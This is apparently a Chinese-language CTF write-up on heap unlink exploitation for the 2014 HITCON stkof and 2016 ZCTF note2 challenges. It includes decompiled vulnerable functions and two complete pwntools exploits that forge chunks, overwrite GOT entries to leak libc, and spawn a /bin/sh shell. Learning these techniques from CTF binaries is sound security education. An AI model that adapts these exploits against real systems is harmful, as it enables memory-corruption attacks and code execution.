Unlink实战 -- 2014 HITCON stkof

Unlink实战

2014 HITCON stkof

unlink技术前面已经学习过了,简单回忆一下其中的关键:

1
2
3
4
5
6
7
8
FD=P->fd 
BK=P->bk
FD->bk = BK
BK->fd = FD

fd = &P-0x18
bk = &P-0x10
P = &P-0X18

ida分析后可以看出程序主要有如下的几个功能:

  • add,功能主要是输入一个size,分配相应的空间,并将指针存在bss段的
  • edit,指定index,输入size,修改相应index的内容
  • delete,指定index,free掉相应的空间
1
2
3
4
5
6
7
8
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = ::s[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}

在edit函数中size由我们输出,没有检查大小,存在溢出漏洞,而bss段中有一数组专门存放我们chunk地址,确定攻击思路为unlink后改写系统函数的地址。

首先用gdb调试,简单分配两个chunk观察内存中的分布情况,设0x602140为head

image-20190301210035807

很显然我们的第一个chunk在head+0x8的位置,但要注意,该程序没有进行setbuf操作,所以会在gets、printf时设置输入输出的缓冲区,为了避免产生影响,我们先分配一个chunk保证完成输入输出完成相应的初始化操作,紧接着再考虑攻击的问题。我们构造三个chunk,第一个保留,第二个用来溢出,我设置为0x30,第三个则要大一些(在smallbin的范围内)来触发unlink

我们在chunk2中伪造一个chunk。伪造的重点是chunk的size与溢出下一个chunk的pre_size是否相等、fd与bk指针能不能通过检查、是否将下一个chunk的pre_inuse位成功修改,具体的payload的构造如下:

1
2
3
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)

之后我们free掉chunk3,此时由于chunk3的pre_inuse显示fake_chunk是free状态,会发生合并,触发unlink,导致我们原本chunk2在bss段位置p的内容变成了p-0x18的值,如图所示

image-20190302110646389

之后我们就可以通过edit chunk2的方式就可以从0x602138开始写入值了,注意由于我们写的位置是head+0x10-0x18,所以首先要填充0x10,既然要修改系统函数的地址那我们就必须要知道libc的base,我们可以通过puts函数来泄漏某个函数的地址进而计算。这样我们就有了构造下一步payload的思路,我们将chunk1的位置填为free_got,chunk2的位置填为使用过的任意函数(这里我选择了puts)的got,这样我们再次edit chunk1的时候就可以修改free_got的内容了

1
payload2 = 'a'*8  + 'b'*8 + p64(free_got) + p64(puts_got)

利用edit将puts的plt地址填入free_got后,我们再次free chunk2实际上就是输出puts_got的值了,接下来就是简单的处理拿到libc的base后算出system的地址,然后再次edit chunk1,把free_got的值改为system。

最后,我们创建一个chunk4,在里面写入/bin/sh,再free掉就大功告成了

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level = 'debug'
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))


p = process('./stkof')
#p = remote("192.168.211.126", 10000)
elf = ELF('./stkof')
libc = ELF('./libc.so.6')

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']


head = 0x602140
fd = head + 0x10 - 0x18
bk = head + 0x10 - 0x10
alloc(0x50) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
gdb.attach(p)
p.recvuntil('OK\n')

payload2 = 'a'*8 + 'b'*8 + p64(free_got) + p64(puts_got)
edit(2,payload2)
payload3 = p64(puts_plt)
edit(1,payload3)

free(2)

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success("puts_addr is %x\n" %puts_addr)
log.success("libc_base is %x\n" %libc_base)
log.success("system_addr is %x\n" %system_addr)

payload4 = p64(system_addr)
edit(1,payload4)

edit(4,'/bin/sh')
free(4)
#gdb.attach(p)
p.interactive()

##2016 ZCTF note2

首先还是ida分析,整理之后发现有这几个功能:

  • add,添加一个note和note的内容(会检查长度不能大于0x80,且会有一个bss段的ptr来存储地址)
  • show,展示指定index的note的内容

  • edit,修改指定index的note的内容

  • delete,删除指定index的note

通过观察add我们发现了这个函数存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 size, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
for ( i = 0LL; size - 1 > i; ++i ) //a2是我们输入的size
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(i + a1) = buf;
}
*(a1 + i) = 0;
return i;
}

当我们输入的size为0是时,由于malloc的分配机制实际上会分配给我们0x20大小的空间,但是在这个读取数据的函数里size-1(注意size是无符号整数),也就变成了一个超级大的数,我们可以输入任意大小的数据了

拿我们就有思路了,我们可以malloc三个chunk,大小分别为0x80、0(实际上分配的是0x20,由于是小于fast_max,所以会进入fastbin,再次分配0时会从fastbin中取出)、0x80,然后拿chunk2去溢出chunk3,最终实现unlink,剩下的步骤就和上一题目一样了,具体过程不在赘述

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
#context.log_level = 'debug'
def add(len,content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil("Input the length of the note content:(less than 128)")
p.sendline(str(len))
p.recvuntil("Input the note content:")
p.sendline(content)

def show(index):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(index))

def edit(index,choice,content):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(index))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(content)

def delete(index):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(index))

p = process('./note2')
elf = ELF('./note2')
libc = ELF('./libc.so.6')
ptr = 0x602120

p.recvuntil("Input your name:")
p.sendline('zsh')
p.recvuntil("Input your address:")
p.sendline('sdust')

head = 0x602120
fd = head - 0x18
bk = head - 0x10
atoi_got = elf.got['atoi']

payload1 = 'a'*0x8 + p64(0xa0) + p64(fd) + p64(bk) + 'a'*0x60

add(0x80,payload1)
add(0,'b'* 8)
add(0x80,'c'*8)

delete(1)

payload2 = 'a'*0x10 + p64(0xa0) + p64(0x90)
add(0,payload2)

delete(2)

payload3 = 'a'*0x18 + p64(atoi_got)
edit(0,1,payload3)

show(0)
p.recvuntil('Content is ')
atoi_addr = u64(p.recvuntil("\n",drop = True).ljust(8,'\00'))
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
log.success("atoi_addr is %x\n" %atoi_addr)
log.success("libc_base is %x\n" %libc_base)
log.success("system_addr is %x\n" %system_addr)
edit(0,1,p64(system_addr))
gdb.attach(p)
p.recvuntil("option--->>\n")
p.sendline('/bin/sh')
#
p.interactive()